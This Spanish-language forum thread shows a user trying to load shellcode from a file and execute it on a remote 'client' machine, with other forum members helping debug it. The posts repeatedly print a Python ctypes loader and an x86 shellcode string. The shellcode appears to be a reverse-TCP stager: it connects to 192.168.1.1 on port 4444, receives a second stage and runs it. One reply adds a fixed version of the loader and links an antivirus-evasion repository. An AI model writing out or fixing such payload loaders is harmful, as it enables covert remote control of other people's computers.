Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Sentex en 20 Marzo 2018, 19:05 pm



Título: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 20 Marzo 2018, 19:05 pm
Hola buenas.

Intento ejecutar una shellcode en un ordenador remoto (cliente) pero la shellcode esta en otro ordenador (el servidor). La ejecución de una shellcode en python seria el codigo siguiente:

Código
  1. from ctypes import *
  2.  
  3. shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  4. "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  5. "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  6. "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  7. "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  8. "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  9. "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  10. "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  11. "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  12. "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
  13. "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  14. "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
  15. "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
  16. "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
  17. "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
  18. "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
  19. "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
  20. "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
  21. "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
  22. "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
  23. "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
  24. "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
  25. "\x53\xff\xd5")  
  26.  
  27. memory_ref = create_string_buffer(shellcode, len(shellcode))
  28. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  29. shellcode()
  30.  

Y lo que quiero es leer en un .txt por ejemplo esa misma shellcode y luego ejecutarlo en el ordenador remoto. All tenerlo en un .txt se convierte en un string con lo cual no funciona. Necesito ayuda. gracias!


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: engel lex en 20 Marzo 2018, 19:23 pm
conviertelo de vuelta a bytes, de toda forma será necesario si lo transmitirás sobre red

para convertir un string en un array de bytes solo es necesario usar .encode()

Código:
"texto".encode()

si quieres que sea convertido en base a alguna condificacion lo aclaras entre los parentesis, por ejemplo

Código:
"texto".encode('UTF-8')


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 20 Marzo 2018, 19:46 pm
Me sale el siguiente error: WindowsError: exception: access violation writing 0x00000000


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: engel lex en 20 Marzo 2018, 20:03 pm
ya eso es un error de windows y escapa de mis conocimientos, pero por lo que parece intentaste escribir en una zona de la memoria donde no tenías permisos, estás corriendo como administrador?


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: MCKSys Argentina en 20 Marzo 2018, 20:17 pm
Hola!

Estás intentando ejecutar memoria que está definida como de lectura/escritura (La allocaste como string).

Debes agregarle permisos de ejecución a la página para correr el shellcode.

Saludos!

EDIT: Revisa ésto (https://github.com/ciccio-87/Python-AV-Evasion/blob/master/winshell.py).


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 21 Marzo 2018, 13:33 pm
No es un error de permisos, ya lo solucione pero sigue sin funcionar  >:( .

Source Code:
Código
  1. from ctypes import *
  2.  
  3. shellcode = ""
  4.  
  5. with open("shellcode.txt", "r") as sc:
  6.    shellcode1 = sc.readlines()
  7.    for x in shellcode1:
  8.        shellcode += x.encode()
  9.  
  10.  
  11.  
  12. shellcode = (shellcode.encode())  
  13.  
  14. memory_ref = create_string_buffer(shellcode, len(shellcode))
  15. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  16. shellcode()
  17.  

Shellcode.txt:
Código
  1. \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30
  2. \x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff
  3. \xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52
  4. \x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1
  5. \x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b
  6. \x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03
  7. \x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b
  8. \x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24
  9. \x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb
  10. \x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c
  11. \x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68
  12. \x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02
  13. \x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea
  14. \x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61
  15. \xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00
  16. \x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83
  17. \xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a
  18. \x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57
  19. \x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00
  20. \x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68
  21. \x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff
  22. \xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00
  23. \x53\xff\xd5
  24.  

La shellcode no se ejecuta y no suelta ningún error.


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: engel lex en 21 Marzo 2018, 13:42 pm
ahh... pero es que tu tienes liretalmente eso en el archivo de texto... tienes que leer de 3 en 3 e ir convirtiendo a su representación


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: MCKSys Argentina en 21 Marzo 2018, 15:07 pm
No es un error de permisos, ya lo solucione pero sigue sin funcionar  >:( .

Te puedo asegurar que ese código dará error en cualquier windows que tenga DEP activado (todos los modernos). Pero bueno, tú sabrás...

Con respecto a tu problema de guardar en archivos:

Código
  1. # save binary data in file
  2. shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
  3. shellcode += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
  4. shellcode += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
  5. shellcode += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
  6. shellcode += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
  7. shellcode += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
  8. shellcode += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
  9. shellcode += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
  10. shellcode += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
  11. shellcode += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
  12. shellcode += "\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
  13. shellcode += "\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x01\x68\x02"
  14. shellcode += "\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
  15. shellcode += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
  16. shellcode += "\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
  17. shellcode += "\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
  18. shellcode += "\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
  19. shellcode += "\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
  20. shellcode += "\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
  21. shellcode += "\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
  22. shellcode += "\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
  23. shellcode += "\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
  24. shellcode += "\x53\xff\xd5"
  25.  
  26. f = open("shellcode.txt", "wb")
  27. f.write(shellcode)
  28. f.close()
  29.  
  30. # load data from file and execute in heap (fails with DEP enabled for all processes)
  31. shellcode = ""
  32.  
  33. with open("shellcode.txt", "r") as sc:
  34.    #shellcode1 = sc.readlines()
  35.    #for x in shellcode1:
  36.    #    shellcode += x.encode()
  37.    shellcode = sc.read()
  38.  
  39.  
  40.  
  41. #shellcode = (shellcode.encode())
  42.  
  43. memory_ref = create_string_buffer(shellcode, len(shellcode))
  44. shellcode = cast(memory_ref, CFUNCTYPE(c_void_p))
  45. shellcode()
  46.  

Saludos!


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: Sentex en 21 Marzo 2018, 19:44 pm
Cual codigo podría funcionar ahora?


Título: Re: [PYTHON] Leer una shellcode y ejecutarla
Publicado por: MCKSys Argentina en 21 Marzo 2018, 22:53 pm
Cual codigo podría funcionar ahora?

El primero que te pasé tiene lo necesario para funcinar en todos los Windows.

Saludos!